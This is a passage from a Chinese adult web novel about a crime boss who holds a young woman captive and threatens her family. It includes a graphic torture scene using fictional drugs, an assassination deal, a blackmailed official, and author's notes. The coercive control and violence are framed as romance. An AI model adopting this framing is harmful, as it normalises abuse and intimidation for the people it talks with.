语气算不上好,却也是在妥协。 陈知念无法窥见他内心,也无从知晓他的退让。她仰着头,将内心真实的想法全盘托出。 “我很感激你救我,如果可以,我愿意付出所有东西作为回报。” 陈寅洛望着她,没接话,只是眼底的阴翳更重了。他有预感,接下来的话,应该不会是他想要听的。不是有求于他的时候,她那张嘴向来吐不出好话。 果然,她顿了顿说:“如果你真的对我有一分一毫的感情,有过一丁点的心软,那我求求你,让我走吧。” 语调平静,婉婉道来,也没有任何犹豫,一点不拖泥带水。 应该是在心底演练了无数遍。 陈寅洛依旧沉默,面上不动声色,手背青灰色的青筋却已然暴起。 陈知念放下了所有恐惧、挣扎,垂首自说自话:“我不是你的宠物,我是一个活生生的人,我有自己的家人,我有自己的生活,我有自己的梦想。” “我不想被关在这里,我想自由自在地和朋友逛街散步,我想回到学校完成我的学业,我想回到我自己家,陪我的家人在一块。” 她的语气里没有怨恨,只有筋疲力尽后的平静,而这种平静,比任何控诉都更具穿透力。 “我真的很感激你救了我,真的。”她望进他眼底,“但如果回报的代价是我的自由和未来,那救不救我,有什么区别呢?” 陈寅洛喉结轻滚,哑声吐出一句:“你再说一遍,什么叫没有区别?” “难道不是吗?”她反问道,“你和陆野有区别吗?你们不都是一类人吗?” “不都是把我关起来,用你们的方式逼我就范?从来没有问过我的意愿,压根就不在意我的想法,你们都是一样的自私,一样的无耻,一样的自以为是!” 她的声音逐渐拔高,迎着他的眼眸毫不退缩。 听到这里,陈寅洛面色阴沉得能滴出水来。后槽牙咬了又咬,隐着怒火道:“你把我跟他相提并论?陈知念,你他妈再说一遍试试?” 陈知念今天也是豁出去了,她不可能会再向他妥协了,她宁愿承受所有可怕的后果,也不愿再继续这场虚与委蛇的戏码。 “为什么不能?他绑架我,你呢?” “你用我爸妈的命威胁我的时候,和陆野用炸/弹胁迫我,有本质区别吗?” 这话直接穿过了胸腔,戳进了陈寅洛跳动的心脏,他眼底的寒意骤然加深。 她死死盯着他,“陈寅洛,你告诉我,你和他本质上,到底有什么区别?!” “你口口声声说喜欢我,可你做的每一件事,都让人恶心、愤恨!!你就是个绑架犯,强jian犯!杀人犯!!” “你和他一样,都是疯子!都是自私自利的疯子!我恨他!我也恨——” “闭嘴!” 陈寅洛猛然暴吼,额角的青筋尽数乍现,眼底燃起骇人的怒火。 他一把掐住她的下巴,几乎只要再稍一用力,就能掐碎她骨头,却又在看到她痛楚的表情时,又恍然松开手,转身一拳狠狠砸在墙上。 她恨他。 这个认知像毒液一样迅速蔓延至四肢百骸。 他背对着她,肩膀的剧烈起伏慢慢平复。几秒钟后,他转过身,脸上所有的暴怒都已消失。 “很好,”他的声音透着残忍,“陈知念,看来是我太纵容你了。” “陆野那个废物,只知道囚禁,用同归于尽来威胁。” “而我不一样。” 他的手指滑到她的脖颈,虚虚地握着,没有用力,却带来窒息的压迫感,“从今天起,你就待在禁闭室里。什么时候想明白了,什么时候出来。” 听到“禁闭室”三个字,陈知念瞳孔骤缩,那些被埋藏的记忆瞬间涌上心头。她控制不住地开始颤抖,比起死亡,那个地方更让她恐惧。 “你的家人、学校、朋友,在你学会顺从之前,都会从你的世界消失。” “想用死来威胁我?想用绝食来反抗我?” 他直起身,“陈知念,你大可以试试。但你记住,你要是死了,我保证,所有你在乎的人,都会下去陪你。” 说完,他直起身,头也不回地走出卧室。很快,沉重的脚步声由远及近,几名黑衣壮汉面无表情地站在床边。 “陈小姐,请。”—— 作者有话说:[化了]害,怎么说呢,经历了生死,女主这次是彻底翻脸了。从她的视角出发,她说的一点都没错。 所有的罪恶都是陈寅洛带来的,没有他,她的生活一片美好。 而从男主视角出发,他费尽心力,连眼都不敢闭,苦苦救回来的人竟然这样对他。 噢,他也想不通。 害,半夜爬起来留个言,这么糊的文被投诉未成年有害,明明标了建议18岁以上看的[爆哭][爆哭] 我也没有宣扬说男主是个好人[爆哭][爆哭]如果申诉不通过,不知道是否会锁文?我没有了解过。 我会尽量加速完结的,[求你了]如果不喜欢这种人设的可以好聚好散[化了] 就这样吧~~写一本文我也没几个钱,真的就是为了一腔热爱。 最后,感谢一路陪伴我撑到现在的小天使,治愈我很多次看到批判评论崩坏的心态。[撒花][撒花] 我会尽快完结的。谢谢~~ 第69章 陆野被冰盐水混合着酒精泼醒,刺骨的寒意和伤口的灼痛双重刺激着他每一根紧绷的神经。他发现自己被呈“大”字型束缚在一张金属台上。 陈寅洛泰然坐在离他几米远的椅子上。 “开始吧。”他说。 话落,一个穿着白大褂的医生模样的男人拿着一支针管上前。 “这是高纯度神经敏化剂。” “它会重塑你的痛觉感知,放大二十倍以上。并确保你的中枢神经在整个过程里保持绝对清醒,不会因自我保护而昏厥。而我们现在要做的……” 针头精准地刺入陆野颈侧的静脉,冰凉的液体注入。 “……是让你重新认识一下,你的身体。” 在液体推入的瞬间,陆野的瞳孔就放大了。世界在他感官里彻底扭曲,空气流过皮肤都如同刀割,心脏的每一次跳动都像是重锤砸在胸腔。 当医生用一把金属小刀划过他手臂皮肤时,陆野的身体猛地弓起,喉咙里爆发出剧痛的嘶吼。 “陈寅洛!杀了我!”陆野嘶吼着,汗水瞬间浸透了衣服,“直接杀了我!” “杀你?太便宜你了。”陈寅洛淡淡看了眼医生,医生会意,立刻进行下一步。 医生没有再用刀。 他拿起一个看似普通的金属探针,接通了微弱的电流,然后,轻轻点在了陆野的肋骨表面。 “啊——!!!” 比刚才强烈数倍的剧痛瞬间炸开!陆野的瞳孔骤然收缩,身体不受控制地剧烈痉挛,束缚带深深勒进他的皮肉。 电流通过金属探针,在陆野肋骨表面留下细微的焦痕。那痛感早已超出疼痛的范畴,像是有无数根烧红的钢针,顺着他的神经缝隙疯狂钻刺。 “刚才只是让你熟悉痛感。”医生的声音毫无温度,像在讲解实验步骤,“现在我们来试试,神经末梢被持续刺激时,会是什么感觉。” 细探针轻轻抵住伤口边缘的皮肤,微弱的电流再次接通。 这一次,痛感没有瞬间爆发,而是像藤蔓般缓慢缠绕,从伤口处开始,一点点往手臂内侧蔓延,每一寸神经都在被细细啃咬,那种痒中带痛、痛中带麻的感觉,比刚才的剧痛更折磨人。 陆野的身体不再剧烈痉挛,而是不受控制地发抖,牙齿咬得咯咯作响,嘴角溢出带血的涎水。 医生低头看了一眼连接在陆野身上的生理监测仪,平静道:“痛觉阈值突破临界,神经放电频率超标。生命体征稳定 ,可继续。” 陈寅洛扬眉,“继续。” 医生转向一旁的器械台,又取来一个盛着液体的针剂,“现在,进行神经受体特异性激活。这会让你体验一下,痛觉神经被单独点燃的感觉。” 针头精准地刺入陆野最敏感的神经丛。 “啊——!!!” 陆野的惨叫陡然拔高,瞬间变得尖利刺耳,他的眼球骤然暴突,布满血丝的眼白几乎要撑破眼睑,视线里只剩下一片猩红。束缚带深深勒进手腕、脚踝的皮肉里,血珠顺着金属台的缝隙往下淌,在地面积成一小滩暗红。 医生冷静地观察着他的反应,补充道:“这种化合物会高度选择性结合痛觉受体,模拟三度烧伤的神经信号,但不会造成实际组织损伤。效果可持续六到八小时。” 陈寅洛终于站起身,缓步走到陆野面前,居高临下地欣赏着他因痛苦而扭曲的面容。 “这才只是开始。接下来七十二小时,你会体验十七种不同的感官重塑。” 就在这时,陆野因无法承受的剧痛,下身失禁,温热的液体浸湿了台面。 陈寅洛轻轻笑了一声,“我不会让你死的。好好享受吧。” 从刑讯室出来,陈寅洛径直上了直升机,飞往白塔城。 直升机降落在白塔城郊一处僻静码头,此刻码头杳无人烟,黑漆漆的,连一盏灯没有。 一辆黑色的轿车,没有悬挂牌照,静静地停在码头渡口处等待着。 陈寅洛走下直升机,独自走向轿车,拉开车门,坐进了后排。 林政委已经坐在里面,手里夹着半支烟,车窗开着一道缝,烟雾缓缓逸出。 谁也没有率先开口。 车外五六米远,林弘的心腹和雷子警惕地巡视着四周。 车厢里静悄悄的,陈寅洛亦抽出一支烟,点燃咬在唇间。袅袅的烟雾从鼻腔溢出,又从车窗缝隙向外蔓延。 直至一支烟彻底燃尽,林弘才关上车窗,递给了陈寅洛一个文件袋。 “老对手的资料,核心行程,都在里面。” 陈寅洛没立马接,只是靠在椅背上,目光透过车窗,望着外面漆黑如墨的江面。 “林政委,”他开口,“这种事,我干过不少。但动这个级别的人,代价不一样。” 杀一个人对他来说不算什么,就算要杀的是首脑也无所谓,重点是他能获得什么。 林弘笑了笑,“事成之后,我保你进入安全委员会。那里的视野,比你现在站的这片码头,要开阔得多。” 陈寅洛终于转过头,看向林政委,眼神深不见底。 “您想要什么结果?” 林弘目光沉了沉,“意外。干净利落,查无可查。结果嘛……” 他顿了顿,压低声音:“当然是永远闭嘴。” 陈寅洛的指节在膝头敲了敲,口头承诺,永远都靠不住。 他抬眸,“风险太大。一旦有闪失,你和我,都会粉身碎骨。我们是一条绳上的蚂蚱,但这条绳,现在还不够结实。” “所以要让它更结实。”林弘身体微微前倾,盯着陈寅洛的眼睛:“正因如此,我们需要比利益更牢固的纽带,确保绝对的……沉默与忠诚。” 就在这时,车窗被轻轻叩响。 两人同时噤声。林政委按下车窗,窗外露出一张明媚娇艳的脸庞。 “爸爸,您不是说谈完就带我回家吗?我在车里等了快半小时了。”她的声音满是娇俏,目光掠过陈寅洛时,飞快地顿了一下。 她很快移开视线,脸颊微微泛红,“不好意思,打扰你们谈正事了。” 林弘眉头微皱,语气却带着宠溺:“薇薇,别胡闹,再等会儿。” “知道啦!”被称作薇薇的女孩冲陈寅洛嫣然一笑,这才翩然离开。 林弘重新关上车窗,隔绝了外界,车内陷入短暂的沉默。 他再度开口时,语气有了微妙的变化:“那是我女儿,林曼薇。”他顿了顿,“上次在商会晚宴上见过你一面后,回家就没少念叨。这孩子,心气高,一般人也看不上。” 陈寅洛挑了挑眉,不接话。他清楚,林弘不会平白无故提女儿,不过是为了接下来的话铺路罢了。 林弘继续道:“这件事,风险确实大。但如果我们成了一家人,很多事,就不一样了。” 说来说去,林弘亦不信任陈寅洛。这么重要的事,一旦陈寅洛反水,那迎接他的将是万劫不复。 他很看好陈寅洛,虽然出身不够光鲜,但人有胆识,够果决,脑子活泛。更重要的是,眼界和格局,都不一般,若是有人能在背后推一把,以后会是一个很好的助力。 林弘看向他,声音压低:“薇薇对你很有好感。如果我们两家能联姻,那么未来,无论是在台前还是幕后,我们的利益和命运都将彻底捆绑。你的事,就是我的家事。只有这样,我才能绝对放心地把身家性命,交到你手上。” 说完,车厢又陷入了沉默。 陈寅洛的视线重新落回江面,漆黑的水波里,似乎映出了陈知念的脸。 但只是一瞬,画面就被冲散。 风险从来不是他考虑的首要因素,他在权衡的是“联姻”这笔交易本身的性价比。当政治前途和庞大资源成为砝码时,一个名义上的妻子,似乎也并非不可接受的代价。 林弘继续诱导:“有了这层关系,你过去那些上不得台面的历史,才能被真正洗白。你的野心,也才有一个名正言顺的落脚点。” 沉默在车厢里蔓延,足足半分钟。最终,陈寅洛伸手,接过了那个沉甸甸的文件袋。 “好。” “哈哈,好。”林弘真心实意地笑道:“识时务。” 他拍了拍陈寅洛的肩膀,意味深长道:“行了,我还有个会。曼薇……就麻烦你,顺路送她回去了。” 陈寅洛勾勾唇,“放心,林政委。” 林弘的车队率先驶离,陈寅洛站在夜色中,又点燃了一支烟。夜风卷着海雾扑在脸上,烟圈从他唇间溢出,刚散开就被海风扯成细丝,混着江雾飘向漆黑的海面。 林曼薇提着小皮包,站在不远处,远远看着他。 晚宴那晚过后,连她自己也说不清是为什么,他的身影总会毫无征兆地闯入脑海,就像此刻这阵海风,来得不由分说。 就像此刻,远远望着他,她的心就会扑通扑通直跳。 这时严彬将车开了过来。陈寅洛望了一眼,随即将烟碾灭,径直上了后座。 林曼薇怔在原地,雷子上前道:“林小姐,请。” 她透过车窗看向那道目不斜视的身影,失落地抿抿唇,而后有些拘谨地坐进了后排。 车子驶离漆黑的码头,走了大概十分钟,才开始有路灯的光影照进车内。 林曼薇有点局促,她偷偷瞄了身旁的男人好几眼,终于鼓起勇气:“陈、陈先生,谢谢你送我回家。” 闻言,陈寅洛转过头来,如墨的眼眸落在她脸上:“不客气。” 第70章 被陈寅洛的目光径直迎上,林曼薇的脸颊顿时飞起两片红云,热得发烫。 来码头前,爸爸就同她谈过了。当被问起觉得陈先生怎么样时,她几乎是脱口而出“很好呀”。爸爸听了便笑着告诉她,打算让他们联姻,今晚就会和陈先生提。 此刻,爸爸让他送自己回家……是不是意味着,事情已经定下来了? 这个猜测让她的心怦怦直跳,一丝羞涩的的甜意,悄然在心底漾开。 车辆在平缓行驶,车内又陷入了沉默。 林曼薇攥紧手里小提包的带子,给自己打气,随后转过头小声问:“陈先生,总是这样称呼,好像有些太生疏了。请问我以后……可以叫你寅洛吗?”她顿了顿,脸颊微热,又小声补充,“你也可以叫我薇薇。” 陈寅洛的目光从窗外收回,淡淡地扫了她一眼,“随你。” 虽然他的回复很冷淡,但好像给了林曼薇更大的勇气,让她觉得正在接近一座蕴藏着巨大能量的冰山,更想探寻。她抬起眼眸望 向他,将早已准备好的邀约说了出来: “不知道……寅洛你明天晚上有没有安排?八点在大剧院有一场Clayderman的音乐会,我想……邀请你一起去,可以吗?他的曲子,总能让人放松下来。我想,如果你明天刚好不那么忙的话,或许会是个不错的消遣。” 车子已经驶入绿树成荫的别墅区,在林家那栋灯火通明的洋楼前平稳停下。 陈寅洛终于回答:“看我时间。” 这个模糊的回答,却让林曼薇的眼睛亮了起来。她笑了笑,推开车门:“那我……不打扰你了,晚安。” 在她关上车门的瞬间,陈寅洛就吩咐道:“开车。” 一个半小时后,直升机抵达禁区别墅。 跨下飞机,他沉默地站在原地,几秒钟后,他还是动了,脚步朝着朝禁闭室走去。 他站在监控屏幕前,屏幕被分割成十几个画面,他已经这样静静地看了很久。 陈知念抱着膝盖,背对着摄像头,乌黑的头发凌乱地贴在脸颊上,单薄的衣服裹着她瘦削的肩膀,看起来奄奄一息,却出乎意料地倔强,不肯低头。 “洛哥,”守在监控旁的医护人员小声汇报,“陈小姐的心率持续下降,现在只有每分钟58次,血氧饱和度也低于正常水平,已经跌到92了。从被关进去到现在,一直没有进食,连水都只喝了两口。” 陈寅洛没有答话,不停滚动的喉结却泄露了他不宁的心绪。 心脏的位置传来轻微的钝痛。 为什么。 他紧抿着唇,连呼吸都开始滞涩,呼吸之间像是有什么苦涩的东西绕在喉间,萦久不散。 屏幕里,陈知念的头垂得更低,原本抱在膝盖的手也动了动,最终无声滑落。 那一瞬间,陈寅洛的心像是停滞了,它就这样停摆了,似乎是不会跳了。 他颓然地靠坐在椅子上,闭上眼,喉结重重滚了一下。 他抬手,用指关节用力抵住眉心,试图驱散这种失控的生理反应。 几秒后,他倏然睁眼,眸底一片暗沉。他起身,大步走向禁闭室。 厚重的金属门滑开,陈知念听到声响,轻微地颤了颤,但没有抬头。 陈寅洛站在门口,目光胶着在她身上近一分钟。她的脊背挺得笔直,像寒冬里最后一根不肯弯折的枯枝,明明虚弱得随时会断裂,却意外顽强。 他迈步入内,在她面前站定,刻意压冷着声音:“陈知念,只要你现在认错,我就原谅你,放你出去。” 空气凝固了。几秒钟的死寂里,他能清晰地看到她凌乱发丝下低垂的脖颈,脆弱得仿佛一折就断。 他看到她的头小幅度动了一下,像是要点头。 陈寅洛的心也随之提了一下。只要她认错,他没有什么不可原谅的。 然而,那动作最终却变成了将脸更深地埋进膝盖,乌黑的发丝彻底遮住了她的神情。 “……我……没错。” 明明是轻不可闻的三个字,可陈寅洛却无比清晰的听到并听清楚了。 有那么一瞬间,他甚至怀疑自己幻听了。一个从前那般贪生怕死的人,如今虚弱得连头都抬不起,为了骨子里那点倔强,连命都不要了! 他胸中那股压着的火“噌”地烧穿了天灵盖。他连台阶都给她铺好了,只要她肯低一下头,他就能顺势原谅她那天所有伤人的话!可她偏不,偏要在这条死路上走到黑。 他高高扬起下巴,喉结滚动:“陈知念,我再给你最后一次机会。你确定要和我犟到底?” 蜷在地上的人影毫无反应,连回答都不屑提交。 “好。你有种!”他的声音都开始发颤,“绝食是吧?行,你不吃,可以!” 他觉得自己开始语无伦次,“好的很!我现在、现在就去白塔城把陈毅衡和苏婉抓来陪你!!” “你要干什么?!”陈知念倏然抬头,原本涣散的瞳孔骤然缩紧,里面尽是惊怒与警惕。 “我要干什么?”陈寅洛扯出一个狞笑,“你不是想死吗?我成全你!你们一家三口整整齐齐一块上路好了!” 陈知念原本虚软的身体,在听到“爸妈”二字的瞬间,竟爆发出惊人的力量。 “陈寅洛!”她站起来,剧烈喘息着,“你除了会用我在乎的人威胁我,你还会什么?!” 陈寅洛满不在乎地笑:“但很有用,不是吗?” 他的笑声轻佻又冷漠,像一把钝刀,在陈知念心上反复切割。 “给你最后一次机会,”他往前迈近一步,“服个软,现在点头。我当一切没发生过,我放你出去,一切照旧。” 陈知念哆嗦着唇,眼眶通红,却没说话。 他扬起头,避开她那双写满绝望的眼睛,“何必呢,陈知念。” “你老老实实的,别再跟我犟。等哪天……我觉得没意思了,腻了,我……就放你走。” 这话有几分真,几分是缓兵之计,连他自己也辨不分明。 陈知念却像在无边黑暗里终于窥见一丝微光,黯淡的眼睛倏地亮了一下。她死死盯着他侧脸,想要从中找出哪怕一丁点可信的痕迹。干裂的嘴唇翕动了好几下,却没发出声音。 可信吗? 一定是在骗她吧? 无数个怀疑的念头在她脑中疯狂冲撞。 可求生的本能,像一株石缝里挣扎的野草,顽强地探出头。 她终于挤出声音:“……真的?你不骗我?” 他低头,喉结滚动了一下。 “嗯,不骗你。” “好……”陈知念点点头,用力咽了咽唾液道:“你给我一个时间,一年?两年?三年五年?” 陈寅洛呼吸一滞,倏地避开她目光。 “时间说不准。” “可能快,可能慢。要看我什么时候觉得……没意思。” 这话等于没说,可他实在想不出更具体的回答。不管几年,都太短。 顿了顿,他嗤笑一声,目光轻蔑地扫过她:“陈知念,你该不会真以为,你有那么大魅力,能让我一直抓着不放吧?别太高看自己。” 陈知念的眸光明显黯了黯,但最终她还是松口道:“好。我信你。” 陈寅洛还来不及松口气,她很快又开口了。 她抬眼,眼底的黯淡褪去些许,多了点不容退让的坚定,“但我也有几个要求,如果你能答应我,我以后就都听你的话。” 他刚扬起的嘴角瞬间压下:“什么要求。” “一、我要继续念书,你不可以阻止我念大学,我不想以后连养活自己的能力都没有。” “二、我要能够自由见我爸爸妈妈。”怕他拒绝,她又补充,“不用每天见,只要能定期去看他们就好。” 陈寅洛没说话,只是皱着眉,等着她继续说。 “三、你不能再用……伤害我家人的方式,来逼我听话。” “还有最后一个。”她深吸一口气,“你不能再把我关起来。无论发生什么,都不可以。” 空气骤然凝固,连灯光都仿佛骤然降温,跌入了零度。 陈知念仰起头,与他对视:“如果你连这些都不能答应,那你之前说放我走,也不过是句空话。” “我总不能为了你虚无缥缈的承诺,就连最后的尊严都丢掉。”—— 作者有话说:从一开始女主只会哭哭啼啼,卑微求生,到经历这次事件后,她思想彻底转变了,变得更坚强了。 而其实男主也是一直在转变,我并不觉 得当他对女主温柔了下来就OOC了,相反,他在尝试对一个人好,爱一个人[撒花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 条件提的这么顺,看来是早就想好了。 陈寅洛从来不觉得自己做错了。如果他不在乎她,他何必耗费这么大力气? 从头到尾,不识抬举、屡屡挑衅底线的人,都是她。 他静默地看了她几秒,眼底情绪几经变幻,最终归于平静。 他扬眉点头道:“可以,你的条件,我都答应。” 陈知念眼里的光亮刚燃起,他又话锋一转,“记住,这是第一次,也会是最后一次。” “既然你提出了条件,那相应的,你就要做好你的本分。” “从今往后,你的听话不能打半分折扣,我让你留在我身边,你就不能想着离开;我让你做什么,你就不能有半点推脱。如果我发现你有任何小心思,” 他低头逼近,指尖流连过她脸颊:“那今天所有的条件都作废,我会把你锁在这别墅里,断了所有你跟外界的联系,让你彻底知道,什么叫真正的失去自由。” 陈知念鼻翼翕动了几下,抱着希望问:“你真的……会放我走的,对吗?” 圆亮乌黑的眼眸一瞬不瞬地盯着他的眼眸,如果眼睛可以说话,那它说的一定是——别骗我。 陈寅洛差点要躲开她的凝视,但他强自忍住了。指尖无意识蜷了蜷,想抽烟,想用尼古丁来麻痹他现下的纷飞滞涩的思绪。 为什么非得要离开他呢。 沉默了两秒,他说:“对。” 陈知念眼眸亮了亮,露出一个如释重负的笑。 随即双眼一闭,彻底晕倒。 陈寅洛一把接住她软倒的身体,紧紧箍在怀里。鼻尖轻易就捕捉到那令他心安的清甜气息,他轻轻蹭了蹭,用只有自己能听到的声音问:“告诉我,到底是为什么?” 他横抱起她,一路飞奔回到别墅。医护人员迅速上前,测体温、心跳,基础检查。针头刺入她青色的血管,透明的营养液与葡萄糖一点点滴入她枯竭的身体。 陈寅洛拉过一把椅子,坐到床边。 他什么也没说,就这样双手交叠撑在下颌,目不转睛地看着她。 直到门外传来轻叩的敲门声,他才恍然发觉已经天亮了。他站起身来去浴室洗漱完,换了身立挺的西服,随即大步走到床前,默了一瞬,在她额前落下一吻,径直走出了房间。 飞机降落在可托海机场,他大步跨下舷梯,又匆匆上了车,刚坐上车电话就响了。 阿星的声音从听筒传出:“老大,我们运往巴斯蒂亚那批货被海关扣了。” “带队的是稽查队新上任的副队长,叫周正。这人背景很硬,油盐不进,是总署空降下来的。他坚持要开箱彻查。” 陈寅洛闭了闭眼,“箱子现在在哪?” “还在码头临时扣留区,周正亲自带人守着,不允许任何人靠近。他扬言要等总署来人,走正规程序。” “我知道了。”他冷静道:“叫人准备好,如果谈不拢,十分钟内,我要那个集装箱在海上消失。” “明白!” 挂断电话,严彬从后视镜瞥了他一眼,提醒道:“洛哥,十分钟后,我们抵达市政厅。李秘书长已经在等您了,是关于新城港项目的那份‘特别规划许可’。” 陈寅洛淡淡“嗯”了一声,一夜未睡的疲惫在他身上似乎看不见。他后仰靠入椅背,指尖在屏幕上滑动,翻出了海关王关长的电话。 电话响了三秒后被接通,不等对面开口,他先道:“王叔,是我。这么早打扰您休息,实在不好意思。” 对面接道:“没事,我也该起了。有什么事吗?” 陈寅洛轻笑一声:“没什么大事,就是我有批货被扣了,还得麻烦王叔您说句话。” 他稍作停顿,“王叔,咱们是自己人,我就不绕弯子了。令公子最近手气好像不太顺?我听说,那笔五千万的账,追得挺紧的。” 对面捏紧了手机,没说话。陈寅洛毫不在意,接着道:“半个小时,我的货出海,你儿子的债就一笔勾销。否则,这份东西就会出现在总署纪检的办公桌上。” 等威胁充分发酵后,他又抛出诱饵:“新城港项目马上就要启动,里面有个物流清关的肥缺,我一直觉得,由您信得过的人来负责最稳妥。” 王关长在短暂的沉默后,叹了一声道:“唉,放心吧,码头的事我会马上处理的。” “有劳王叔了。”陈寅洛彬彬有礼地挂断电话。 车辆已经抵达市政厅,陈寅洛整理下衣摆,抬眼看向严彬:“后续事情你跟进一下。” “是,洛哥。” 接下来的几个小时,陈寅洛完全沉浸在新城港项目的谈判中。 会议结束,已经是下午四点,刚坐回办公室,他的私人手机就响了。 来电显示是个陌生号码。 陈寅洛蹙眉,按下拒听键。随即又立刻拨打了别墅医护人员电话。 “洛哥,人已经醒了,目前一切平稳,情绪也很稳定。” 他看了眼窗外,“肯吃东西了吗?” “醒了之后,喂了半杯温水。刚才……主动要了一小碗白粥,正在慢慢喝。” 他搭着窗沿的指尖稍稍一松,“知道了,看着她吃完。” 挂断电话,他竟然觉得绷紧了一整天的疲惫都悄然褪去了。 他转回办公桌前,手机铃声又响了起来,还是那个陌生电话。 指尖上滑,“哪位。” 电话那头安静了一瞬,随即怯涩地说:“是、是我……林曼薇。” “什么事?” 陈寅洛打开了电脑,翻看着刚传来的会议记录。 “……你忙完了吗?”林曼薇的声音轻柔,“音乐会八点开始,我想……如果你有空,我们可以先一起吃个晚饭,然后直接过去?” 陈寅洛看了眼时间,旋即冷淡道:“七点司机会去接你,剧院门口见。” 说完,他直接挂断了电话。 对他而言,这场音乐会不过是他需要以林政委女婿履行的一项社交任务。 他不需要考虑社交对象是什么心情,那跟他有什么关系。 听筒里传来的忙音,让另一头的林曼薇握着手机,微微怔住,眼底的光亮黯了黯,但很快又自我安慰般地抿了抿嘴——至少,他答应了会来。 忙碌的时间过的飞快,华灯初上,陈寅洛关掉电脑,严彬已等在楼下。 跨进车里,他按下车窗,点燃了一支烟。 尼古丁的气息略微抚平了高强度工作后的疲惫。车辆刚起步,电话又响了。 他不耐地轻啧了一声,眼底掠过一缕戾气。 “谁?”声音显而易见的冷冽。 对面似乎是被惊到,犹豫了两秒才开口:“是我。” 听到声音,陈寅洛眼眸倏然一亮,他放下手机仔细看了眼电话号码,确定不是幻觉,随即又放至耳边:“你哪来的手机?” “我……我问护士姐姐借的。”陈知念的声音低了下去。 陈寅洛靠在椅背,望向窗外的眼眸隐着几缕极深的笑意,“什么事。” 他听到电话那头,她深吸了一口气,像是积攒了巨大的勇气,才轻声问道:“你、你什么时候回来?” 车轮碾过路面,城市的喧嚣被隔绝在窗外,听筒里只剩下她微弱的呼吸声,和他自己忽然变得清晰的心跳。 他看了眼时间,现在是七点。 “最晚九点到家。” “好,……那我等你。” 通话结束,手机屏幕暗下去,陈寅洛的视线却仍垂落在上头,定了两秒。 他忽然抬眼,扫了眼前方路况,对严彬道:“阿彬,你这车速,是等着我下去给你推一把?” 严彬默不作声,方向盘一打,车头利落地转向机场方向。他余光瞥过速度表:九十迈。在城区车流里,这速度实在算不得慢。 陈寅洛靠回椅背,搭在膝头的指尖却泄露了焦躁,一下下地敲着,没什么节奏,透着 一股不耐。 “能不能快点了?” 严彬默默将油门深踩下去,发动机传来一阵低沉的轰鸣,车窗外的景物加速向后飞掠。 车速提上来了,陈寅洛指尖的敲击才渐渐缓了下去。 一个半小时的路程,被压缩到了短短一小时。 下了舷梯,陈寅洛四平八稳地朝别墅走。打开门,一眼扫去,客厅灯全亮着,却没看到人,医护人员也都不在。 他换下鞋,走进客厅,视线扫过空荡的沙发。空气中,隐约飘来一丝食物清淡的香气。 循着声音,他一步步走向厨房。 暖黄的灯光下,陈知念背对着他,站在灶台前。她身上换了干净的棉质睡衣,外面松松垮垮地系着一条围裙,乌黑的长发随意地拢在一侧,露出白皙的脖颈。 她正微微俯身,用一双长长的木筷,搅动着锅里咕嘟咕嘟翻滚的面条。 氤氲的热气升腾,模糊了她苍白的侧脸轮廓,也让冰冷厨房里弥漫开一种久违的暖意。 陈寅洛停在那,没有出声打扰,就这样静静看着,忽然觉得这一幕出乎意料地顺眼。 似乎是察觉到过热的视线,陈知念忽然转过身,看到他站在那,她下意识捏紧了筷子,顿了顿才道:“对不起,我以为你没这么快回来……就想先煮点东西吃……” 她抿抿唇,“你可以等我一下吗?” 陈寅洛蹙眉思索,到底是在多久之前呢,她也曾这样为自己煮了一碗面。 卖相难看,味道寡淡,在他看来,简直是给狗都不吃的东西。 “嗯。”他冷淡道:“多煮一份。” 第72章 十几分钟后,面煮好了。陈知念双手捧着白瓷碗边缘,刚要转身,滚烫的温度就透过薄瓷渗进指尖,她轻呼一声,立刻把碗放回灶上,指尖在身前快速扇动,又低头对着指缝轻轻吹气。 下一瞬,她还没来得及收回泛红的指尖,就被一只温热宽阔的掌心裹住。陈寅洛低头垂眸,目光落在她烫得发红的指腹上,眉头瞬间蹙紧。 他拉着她到水龙头前,抬手拧开冷水龙头:“自己冲。” 说完,他松开她的手,转身端起两碗面条,稳当地放到了餐桌上。 被水冲了一会,灼烫的感觉已经消散,她正准备缩回手,冷硬的声音自餐厅响起:“数到三十再停,听见没?” “……知道了。”陈知念在心里默数。 水哗啦啦地流着,三十秒时间一到,她就立即关掉了水龙头。脚步稍稍犹豫了一瞬,就坚定地迈向餐厅。 陈寅洛没动筷,看上去像是在等她。 两碗面放在一起,意味着两人要紧挨着坐。 陈知念默默拉开他身旁的椅子坐下,两人之间隔着一拳的距离,各自安静地吃着面,空气中只有轻微的咀嚼声。 这时,陈寅洛放在桌上的手机屏幕亮起,震动声打破了沉静。 他瞥了一眼来电显示,眉头立刻蹙了一下,随即目光转向身旁的陈知念,她还在低头吃面。 他接听键,话筒那边立即传来一道女声:“寅洛,你在哪?音乐会已经开场半个小时了,你怎么还没到?” 陈寅洛没接电话那头的话,下意识又看了她一眼,陈知念垂着眼睫,默不作声地继续往嘴里送面条。 他对着话筒说:“临时有事,去不了。” 根本不给对方反应的时间,直接就挂断了电话。 陈知念吃面的动作顿了顿,抬起头迟疑地问:“抱歉,你……本来有约了吗?我不知道……我是不是耽误你的事了?” “没有。”他重新拿起筷子,“吃你的,别瞎想有的没的。” 陈寅洛吃面的速度很快,一碗清汤面,眨眼就见了底。 陈知念看着他面前空了的碗,开口问,“你,还要吗?我再去给你煮一碗。” 陈寅洛扫了她一眼,抽出纸巾擦干净嘴,将纸巾随手丢在桌上,“说吧,又想要提什么要求了?” 他太了解她了。平日里对他要么冷着脸,要么别别扭扭,只有想从他这讨好处、提条件的时候,才会露出这样温顺的模样。 陈知念放下筷子,说出等他回来的真实目的。 “我明天可以去学校了吗?我已经快一个星期没去学校了,老师同学肯定都在问……” 陈寅洛目光垂在她脸上,脸白白的,嘴唇也不够粉,一看就是病恹恹的没恢复好。 他果断拒绝,没半点商量的余地:“不行。” “为什么?”陈知念反问,原本温顺的眼神里瞬间涌上焦急:“你之前答应我的,说让我继续念书,不阻止我……你是要反悔了吗?” “说了不行就是不行。”陈寅洛侧过脸,语气生硬地给了个缓冲期限,“你乖乖听话,下周,下周我让你去。” 听到明确的时间,陈知念眼里的焦急稍稍褪去,也不再追问。她沉默几秒,又鼓起勇气试探着开口:“那,可以给我一部手机吗?很多课程的参考资料和作业通知都发布在学校的内部网站上,我没办法查看,已经落下很多了。” 怕他不答应,她又马上补充:“我保证只在学习时使用。而且……这样如果你要找我,随时都能找到。” 陈寅洛听完,靠在椅背上,双手交叉搭在腹前,目光沉沉地盯着她:“拿到手机,你想打给谁?” 